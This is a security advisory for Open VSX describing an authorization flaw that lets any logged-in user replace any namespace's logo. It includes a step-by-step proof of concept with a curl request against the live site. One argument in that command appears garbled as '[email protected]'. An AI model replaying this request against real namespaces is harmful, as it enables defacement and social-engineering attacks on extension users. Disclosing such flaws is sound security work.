Description

NOTE: One CVE has been issued for this one and GHSA-wc7c-xq2f-qp4h

The /user/namespace/{namespace}/details/logo API allows users to edit every namespace logos, even though they are not owner of the namespace or even if they are not part of the namespace at all.

PoC

1. Visit https://open-vsx.org/
2. Login via a GitHub user who does not have any privilege over any namespace
3. Take note of the session cookie
4. Visit the following URL: https://open-vsx.org/user/csrf
5. Save in the current working directory a PNG image as image.png
6. Replay the following request through curl after having replaced the $COOKIE placeholder with the value obtained at step 3, the $CSRF_TOKEN placeholder with the values obtained at step 4, and the $NAMESPACE placeholder with the name of the namespace to edit:

curl -H "X-Csrf-Token: $CSRF_TOKEN" -b "$COOKIE" -F [email protected] "https://open-vsx.org/user/namespace/$NAMESPACE/details/logo"

A live exploitation attempt could be observed at https://open-vsx.org/namespace/c which is not owned by the ShielderTest user, which the user who edited the namespace logo.

Impact

An attacker can update any namespace logo, inserting misleading one.
This can be abused as part of social engineering attacks.

Reporters

• Abdel Adim smaury Oisfi of Shielder
• Andrea Cappa zi0Black of Aptos Labs
• Leonardo Giovannini maitai